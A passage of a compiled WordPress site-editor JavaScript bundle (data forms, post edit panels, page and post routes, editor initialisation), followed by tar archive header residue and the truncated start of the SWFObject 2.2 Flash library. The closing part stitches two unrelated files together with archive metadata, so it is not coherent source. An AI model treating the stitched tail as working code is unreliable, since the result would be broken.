  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    ref: setPopoverAnchor,
    className: "dataforms-layouts-panel__field",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "dataforms-layouts-panel__field-label",
      children: fieldLabel
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "dataforms-layouts-panel__field-control",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PanelDropdown, {
        field: field,
        popoverAnchor: popoverAnchor,
        fieldDefinition: fieldDefinition,
        data: data,
        onChange: onChange,
        labelPosition: labelPosition
      })
    })]
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/index.js
/**
 * Internal dependencies
 */


const FORM_FIELD_LAYOUTS = [{
  type: 'regular',
  component: FormRegularField
}, {
  type: 'panel',
  component: FormPanelField
}];
function getFormFieldLayout(type) {
  return FORM_FIELD_LAYOUTS.find(layout => layout.type === type);
}

;// ./node_modules/@wordpress/dataviews/build-module/normalize-form-fields.js
/**
 * Internal dependencies
 */

function normalizeFormFields(form) {
  var _form$type, _form$labelPosition, _form$fields;
  let layout = 'regular';
  if (['regular', 'panel'].includes((_form$type = form.type) !== null && _form$type !== void 0 ? _form$type : '')) {
    layout = form.type;
  }
  const labelPosition = (_form$labelPosition = form.labelPosition) !== null && _form$labelPosition !== void 0 ? _form$labelPosition : layout === 'regular' ? 'top' : 'side';
  return ((_form$fields = form.fields) !== null && _form$fields !== void 0 ? _form$fields : []).map(field => {
    var _field$layout, _field$labelPosition;
    if (typeof field === 'string') {
      return {
        id: field,
        layout,
        labelPosition
      };
    }
    const fieldLayout = (_field$layout = field.layout) !== null && _field$layout !== void 0 ? _field$layout : layout;
    const fieldLabelPosition = (_field$labelPosition = field.labelPosition) !== null && _field$labelPosition !== void 0 ? _field$labelPosition : fieldLayout === 'regular' ? 'top' : 'side';
    return {
      ...field,
      layout: fieldLayout,
      labelPosition: fieldLabelPosition
    };
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/data-form-layout.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */






function DataFormLayout({
  data,
  form,
  onChange,
  children
}) {
  const {
    fields: fieldDefinitions
  } = (0,external_wp_element_namespaceObject.useContext)(dataform_context);
  function getFieldDefinition(field) {
    const fieldId = typeof field === 'string' ? field : field.id;
    return fieldDefinitions.find(fieldDefinition => fieldDefinition.id === fieldId);
  }
  const normalizedFormFields = (0,external_wp_element_namespaceObject.useMemo)(() => normalizeFormFields(form), [form]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 2,
    children: normalizedFormFields.map(formField => {
      const FieldLayout = getFormFieldLayout(formField.layout)?.component;
      if (!FieldLayout) {
        return null;
      }
      const fieldDefinition = !isCombinedField(formField) ? getFieldDefinition(formField) : undefined;
      if (fieldDefinition && fieldDefinition.isVisible && !fieldDefinition.isVisible(data)) {
        return null;
      }
      if (children) {
        return children(FieldLayout, formField);
      }
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldLayout, {
        data: data,
        field: formField,
        onChange: onChange
      }, formField.id);
    })
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/components/dataform/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */





function DataForm({
  data,
  form,
  fields,
  onChange
}) {
  const normalizedFields = (0,external_wp_element_namespaceObject.useMemo)(() => normalizeFields(fields), [fields]);
  if (!form.fields) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormProvider, {
    fields: normalizedFields,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormLayout, {
      data: data,
      form: form,
      onChange: onChange
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/post-edit/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */





const {
  usePostFields: post_edit_usePostFields,
  PostCardPanel
} = unlock(external_wp_editor_namespaceObject.privateApis);
const fieldsWithBulkEditSupport = ['title', 'status', 'date', 'author', 'comment_status'];
function PostEditForm({
  postType,
  postId
}) {
  const ids = (0,external_wp_element_namespaceObject.useMemo)(() => postId.split(','), [postId]);
  const {
    record,
    hasFinishedResolution
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const args = ['postType', postType, ids[0]];
    const {
      getEditedEntityRecord,
      hasFinishedResolution: hasFinished
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      record: ids.length === 1 ? getEditedEntityRecord(...args) : null,
      hasFinishedResolution: hasFinished('getEditedEntityRecord', args)
    };
  }, [postType, ids]);
  const [multiEdits, setMultiEdits] = (0,external_wp_element_namespaceObject.useState)({});
  const {
    editEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    fields: _fields
  } = post_edit_usePostFields({
    postType
  });
  const fields = (0,external_wp_element_namespaceObject.useMemo)(() => _fields?.map(field => {
    if (field.id === 'status') {
      return {
        ...field,
        elements: field.elements.filter(element => element.value !== 'trash')
      };
    }
    return field;
  }), [_fields]);
  const form = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    type: 'panel',
    fields: [{
      id: 'featured_media',
      layout: 'regular'
    }, {
      id: 'status',
      label: (0,external_wp_i18n_namespaceObject.__)('Status & Visibility'),
      children: ['status', 'password']
    }, 'author', 'date', 'slug', 'parent', 'comment_status', {
      label: (0,external_wp_i18n_namespaceObject.__)('Template'),
      labelPosition: 'side',
      id: 'template',
      layout: 'regular'
    }].filter(field => ids.length === 1 || fieldsWithBulkEditSupport.includes(field))
  }), [ids]);
  const onChange = edits => {
    for (const id of ids) {
      if (edits.status && edits.status !== 'future' && record?.status === 'future' && new Date(record.date) > new Date()) {
        edits.date = null;
      }
      if (edits.status && edits.status === 'private' && record.password) {
        edits.password = '';
      }
      editEntityRecord('postType', postType, id, edits);
      if (ids.length > 1) {
        setMultiEdits(prev => ({
          ...prev,
          ...edits
        }));
      }
    }
  };
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    setMultiEdits({});
  }, [ids]);
  const {
    ExperimentalBlockEditorProvider
  } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
  const settings = usePatternSettings();

  /**
   * The template field depends on the block editor settings.
   * This is a workaround to ensure that the block editor settings are available.
   * For more information, see: https://github.com/WordPress/gutenberg/issues/67521
   */
  const fieldsWithDependency = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return fields.map(field => {
      if (field.id === 'template') {
        return {
          ...field,
          Edit: data => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ExperimentalBlockEditorProvider, {
            settings: settings,
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(field.Edit, {
              ...data
            })
          })
        };
      }
      return field;
    });
  }, [fields, settings]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 4,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostCardPanel, {
      postType: postType,
      postId: ids
    }), hasFinishedResolution && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataForm, {
      data: ids.length === 1 ? record : multiEdits,
      fields: fieldsWithDependency,
      form: form,
      onChange: onChange
    })]
  });
}
function PostEdit({
  postType,
  postId
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Page, {
    className: dist_clsx('edit-site-post-edit', {
      'is-empty': !postId
    }),
    label: (0,external_wp_i18n_namespaceObject.__)('Post Edit'),
    children: [postId && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostEditForm, {
      postType: postType,
      postId: postId
    }), !postId && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      children: (0,external_wp_i18n_namespaceObject.__)('Select a page to edit')
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/pages.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */








const {
  useLocation: pages_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function MobilePagesView() {
  const {
    query = {}
  } = pages_useLocation();
  const {
    canvas = 'view'
  } = query;
  return canvas === 'edit' ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostList, {
    postType: "page"
  });
}
const pagesRoute = {
  name: 'pages',
  path: '/page',
  areas: {
    sidebar({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
        title: (0,external_wp_i18n_namespaceObject.__)('Pages'),
        backPath: "/",
        content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSidebarContent, {
          postType: "page"
        })
      }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    },
    content({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostList, {
        postType: "page"
      }) : undefined;
    },
    preview({
      query,
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      if (!isBlockTheme) {
        return undefined;
      }
      const isListView = (query.layout === 'list' || !query.layout) && query.isCustom !== 'true';
      return isListView ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : undefined;
    },
    mobile({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MobilePagesView, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    },
    edit({
      query
    }) {
      var _query$layout;
      const hasQuickEdit = ((_query$layout = query.layout) !== null && _query$layout !== void 0 ? _query$layout : 'list') !== 'list' && !!query.quickEdit;
      return hasQuickEdit ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostEdit, {
        postType: "page",
        postId: query.postId
      }) : undefined;
    }
  },
  widths: {
    content({
      query
    }) {
      const isListView = (query.layout === 'list' || !query.layout) && query.isCustom !== 'true';
      return isListView ? 380 : undefined;
    },
    edit({
      query
    }) {
      var _query$layout2;
      const hasQuickEdit = ((_query$layout2 = query.layout) !== null && _query$layout2 !== void 0 ? _query$layout2 : 'list') !== 'list' && !!query.quickEdit;
      return hasQuickEdit ? 380 : undefined;
    }
  }
};

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/page-item.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */





const pageItemRoute = {
  name: 'page-item',
  path: '/page/:postId',
  areas: {
    sidebar({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
        title: (0,external_wp_i18n_namespaceObject.__)('Pages'),
        backPath: "/",
        content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSidebarContent, {
          postType: "page"
        })
      }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    },
    mobile({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    },
    preview({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    }
  }
};

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/stylebook.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */





const stylebookRoute = {
  name: 'stylebook',
  path: '/stylebook',
  areas: {
    sidebar({
      siteData
    }) {
      return isClassicThemeWithStyleBookSupport(siteData) ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
        title: (0,external_wp_i18n_namespaceObject.__)('Styles'),
        backPath: "/",
        description: (0,external_wp_i18n_namespaceObject.__)(`Preview your website's visual identity: colors, typography, and blocks.`)
      }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    },
    preview({
      siteData
    }) {
      return isClassicThemeWithStyleBookSupport(siteData) ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookPreview, {
        isStatic: true
      }) : undefined;
    },
    mobile({
      siteData
    }) {
      return isClassicThemeWithStyleBookSupport(siteData) ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookPreview, {
        isStatic: true
      }) : undefined;
    }
  }
};

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/notfound.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



function NotFoundError() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, {
    status: "error",
    isDismissible: false,
    children: (0,external_wp_i18n_namespaceObject.__)('The requested page could not be found. Please check the URL.')
  });
}
const notFoundRoute = {
  name: 'notfound',
  path: '*',
  areas: {
    sidebar: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenMain, {}),
    mobile: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenMain, {
      customDescription: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NotFoundError, {})
    }),
    content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
      padding: 2,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NotFoundError, {})
    })
  }
};

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */















const site_editor_routes_routes = [pageItemRoute, pagesRoute, templateItemRoute, templatesRoute, templatePartItemRoute, patternItemRoute, patternsRoute, navigationItemRoute, navigationRoute, stylesRoute, homeRoute, stylebookRoute, notFoundRoute];
function useRegisterSiteEditorRoutes() {
  const registry = (0,external_wp_data_namespaceObject.useRegistry)();
  const {
    registerRoute
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    registry.batch(() => {
      site_editor_routes_routes.forEach(registerRoute);
    });
  }, [registry, registerRoute]);
}

;// ./node_modules/@wordpress/edit-site/build-module/components/app/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */








const {
  RouterProvider
} = unlock(external_wp_router_namespaceObject.privateApis);
function AppLayout() {
  useCommonCommands();
  useSetCommandContext();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(LayoutWithGlobalStylesProvider, {});
}
function App() {
  useRegisterSiteEditorRoutes();
  const {
    routes,
    currentTheme,
    editorSettings
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return {
      routes: unlock(select(store)).getRoutes(),
      currentTheme: select(external_wp_coreData_namespaceObject.store).getCurrentTheme(),
      // This is a temp solution until the has_theme_json value is available for the current theme.
      editorSettings: select(store).getSettings()
    };
  }, []);
  const beforeNavigate = (0,external_wp_element_namespaceObject.useCallback)(({
    path,
    query
  }) => {
    if (!isPreviewingTheme()) {
      return {
        path,
        query
      };
    }
    return {
      path,
      query: {
        ...query,
        wp_theme_preview: 'wp_theme_preview' in query ? query.wp_theme_preview : currentlyPreviewingTheme()
      }
    };
  }, []);
  const matchResolverArgsValue = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    siteData: {
      currentTheme,
      editorSettings
    }
  }), [currentTheme, editorSettings]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RouterProvider, {
    routes: routes,
    pathArg: "p",
    beforeNavigate: beforeNavigate,
    matchResolverArgs: matchResolverArgsValue,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AppLayout, {})
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/deprecated.js
/**
 * WordPress dependencies
 */




const isSiteEditor = (0,external_wp_url_namespaceObject.getPath)(window.location.href)?.includes('site-editor.php');
const deprecateSlot = name => {
  external_wp_deprecated_default()(`wp.editPost.${name}`, {
    since: '6.6',
    alternative: `wp.editor.${name}`
  });
};

/* eslint-disable jsdoc/require-param */
/**
 * @see PluginMoreMenuItem in @wordpress/editor package.
 */
function PluginMoreMenuItem(props) {
  if (!isSiteEditor) {
    return null;
  }
  deprecateSlot('PluginMoreMenuItem');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginMoreMenuItem, {
    ...props
  });
}

/**
 * @see PluginSidebar in @wordpress/editor package.
 */
function PluginSidebar(props) {
  if (!isSiteEditor) {
    return null;
  }
  deprecateSlot('PluginSidebar');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginSidebar, {
    ...props
  });
}

/**
 * @see PluginSidebarMoreMenuItem in @wordpress/editor package.
 */
function PluginSidebarMoreMenuItem(props) {
  if (!isSiteEditor) {
    return null;
  }
  deprecateSlot('PluginSidebarMoreMenuItem');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginSidebarMoreMenuItem, {
    ...props
  });
}
/* eslint-enable jsdoc/require-param */

;// ./node_modules/@wordpress/edit-site/build-module/components/posts-app-routes/posts.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */







const {
  useLocation: posts_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function MobilePostsView() {
  const {
    query = {}
  } = posts_useLocation();
  const {
    canvas = 'view'
  } = query;
  return canvas === 'edit' ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostList, {
    postType: "post"
  });
}
const postsRoute = {
  name: 'posts',
  path: '/',
  areas: {
    sidebar: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
      title: (0,external_wp_i18n_namespaceObject.__)('Posts'),
      isRoot: true,
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSidebarContent, {
        postType: "post"
      })
    }),
    content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostList, {
      postType: "post"
    }),
    preview({
      query
    }) {
      const isListView = (query.layout === 'list' || !query.layout) && query.isCustom !== 'true';
      return isListView ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {
        isPostsList: true
      }) : undefined;
    },
    mobile: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MobilePostsView, {}),
    edit({
      query
    }) {
      var _query$layout;
      const hasQuickEdit = ((_query$layout = query.layout) !== null && _query$layout !== void 0 ? _query$layout : 'list') === 'list' && !!query.quickEdit;
      return hasQuickEdit ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostEdit, {
        postType: "post",
        postId: query.postId
      }) : undefined;
    }
  },
  widths: {
    content({
      query
    }) {
      const isListView = (query.layout === 'list' || !query.layout) && query.isCustom !== 'true';
      return isListView ? 380 : undefined;
    },
    edit({
      query
    }) {
      var _query$layout2;
      const hasQuickEdit = ((_query$layout2 = query.layout) !== null && _query$layout2 !== void 0 ? _query$layout2 : 'list') === 'list' && !!query.quickEdit;
      return hasQuickEdit ? 380 : undefined;
    }
  }
};

;// ./node_modules/@wordpress/edit-site/build-module/components/posts-app-routes/post-item.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */




const postItemRoute = {
  name: 'post-item',
  path: '/post/:postId',
  areas: {
    sidebar: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
      title: (0,external_wp_i18n_namespaceObject.__)('Posts'),
      isRoot: true,
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSidebarContent, {
        postType: "post"
      })
    }),
    mobile: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {
      isPostsList: true
    }),
    preview: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {
      isPostsList: true
    })
  }
};

;// ./node_modules/@wordpress/edit-site/build-module/components/posts-app-routes/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */




const posts_app_routes_routes = [postItemRoute, postsRoute];
function useRegisterPostsAppRoutes() {
  const registry = (0,external_wp_data_namespaceObject.useRegistry)();
  const {
    registerRoute
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    registry.batch(() => {
      posts_app_routes_routes.forEach(registerRoute);
    });
  }, [registry, registerRoute]);
}

;// ./node_modules/@wordpress/edit-site/build-module/components/posts-app/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */





const {
  RouterProvider: posts_app_RouterProvider
} = unlock(external_wp_router_namespaceObject.privateApis);
function PostsApp() {
  useRegisterPostsAppRoutes();
  const routes = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return unlock(select(store)).getRoutes();
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(posts_app_RouterProvider, {
    routes: routes,
    pathArg: "p",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(LayoutWithGlobalStylesProvider, {})
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/posts.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */



/**
 * Internal dependencies
 */


/**
 * Initializes the "Posts Dashboard"
 * @param {string} id       ID of the root element to render the screen in.
 * @param {Object} settings Editor settings.
 */

function initializePostsDashboard(id, settings) {
  if (true) {
    return;
  }
  const target = document.getElementById(id);
  const root = (0,external_wp_element_namespaceObject.createRoot)(target);
  (0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).reapplyBlockTypeFilters();
  const coreBlocks = (0,external_wp_blockLibrary_namespaceObject.__experimentalGetCoreBlocks)().filter(({
    name
  }) => name !== 'core/freeform');
  (0,external_wp_blockLibrary_namespaceObject.registerCoreBlocks)(coreBlocks);
  (0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).setFreeformFallbackBlockName('core/html');
  (0,external_wp_widgets_namespaceObject.registerLegacyWidgetBlock)({
    inserter: false
  });
  (0,external_wp_widgets_namespaceObject.registerWidgetGroupBlock)({
    inserter: false
  });
  if (false) {}

  // We dispatch actions and update the store synchronously before rendering
  // so that we won't trigger unnecessary re-renders with useEffect.
  (0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults('core/edit-site', {
    welcomeGuide: true,
    welcomeGuideStyles: true,
    welcomeGuidePage: true,
    welcomeGuideTemplate: true
  });
  (0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults('core', {
    allowRightClickOverrides: true,
    distractionFree: false,
    editorMode: 'visual',
    editorTool: 'edit',
    fixedToolbar: false,
    focusMode: false,
    inactivePanels: [],
    keepCaretInsideBlock: false,
    openPanels: ['post-status'],
    showBlockBreadcrumbs: true,
    showListViewByDefault: false,
    enableChoosePatternModal: true
  });
  (0,external_wp_data_namespaceObject.dispatch)(store).updateSettings(settings);

  // Prevent the default browser action for files dropped outside of dropzones.
  window.addEventListener('dragover', e => e.preventDefault(), false);
  window.addEventListener('drop', e => e.preventDefault(), false);
  root.render(/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.StrictMode, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostsApp, {})
  }));
  return root;
}

;// ./node_modules/@wordpress/edit-site/build-module/index.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */





const {
  registerCoreBlockBindingsSources
} = unlock(external_wp_editor_namespaceObject.privateApis);

/**
 * Initializes the site editor screen.
 *
 * @param {string} id       ID of the root element to render the screen in.
 * @param {Object} settings Editor settings.
 */
function initializeEditor(id, settings) {
  const target = document.getElementById(id);
  const root = (0,external_wp_element_namespaceObject.createRoot)(target);
  (0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).reapplyBlockTypeFilters();
  const coreBlocks = (0,external_wp_blockLibrary_namespaceObject.__experimentalGetCoreBlocks)().filter(({
    name
  }) => name !== 'core/freeform');
  (0,external_wp_blockLibrary_namespaceObject.registerCoreBlocks)(coreBlocks);
  registerCoreBlockBindingsSources();
  (0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).setFreeformFallbackBlockName('core/html');
  (0,external_wp_widgets_namespaceObject.registerLegacyWidgetBlock)({
    inserter: false
  });
  (0,external_wp_widgets_namespaceObject.registerWidgetGroupBlock)({
    inserter: false
  });
  if (false) {}

  // We dispatch actions and update the store synchronously before rendering
  // so that we won't trigger unnecessary re-renders with useEffect.
  (0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults('core/edit-site', {
    welcomeGuide: true,
    welcomeGuideStyles: true,
    welcomeGuidePage: true,
    welcomeGuideTemplate: true
  });
  (0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults('core', {
    allowRightClickOverrides: true,
    distractionFree: false,
    editorMode: 'visual',
    editorTool: 'edit',
    fixedToolbar: false,
    focusMode: false,
    inactivePanels: [],
    keepCaretInsideBlock: false,
    openPanels: ['post-status'],
    showBlockBreadcrumbs: true,
    showListViewByDefault: false,
    enableChoosePatternModal: true
  });
  if (window.__experimentalMediaProcessing) {
    (0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults('core/media', {
      requireApproval: true,
      optimizeOnUpload: true
    });
  }
  (0,external_wp_data_namespaceObject.dispatch)(store).updateSettings(settings);

  // Prevent the default browser action for files dropped outside of dropzones.
  window.addEventListener('dragover', e => e.preventDefault(), false);
  window.addEventListener('drop', e => e.preventDefault(), false);
  root.render(/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.StrictMode, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(App, {})
  }));
  return root;
}
function reinitializeEditor() {
  external_wp_deprecated_default()('wp.editSite.reinitializeEditor', {
    since: '6.2',
    version: '6.3'
  });
}




// Temporary: While the posts dashboard is being iterated on
// it's being built in the same package as the site editor.


})();

(window.wp = window.wp || {}).editSite = __webpack_exports__;
/******/ })()
;14338/swfobject.js.tar000064400000027000151024420100010323 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/swfobject.js000064400000023767151024231300024322 0ustar00/*	SWFObject v2.2 <http://code.google.com/p/swfobject/> 
	is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> 
*/
var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" 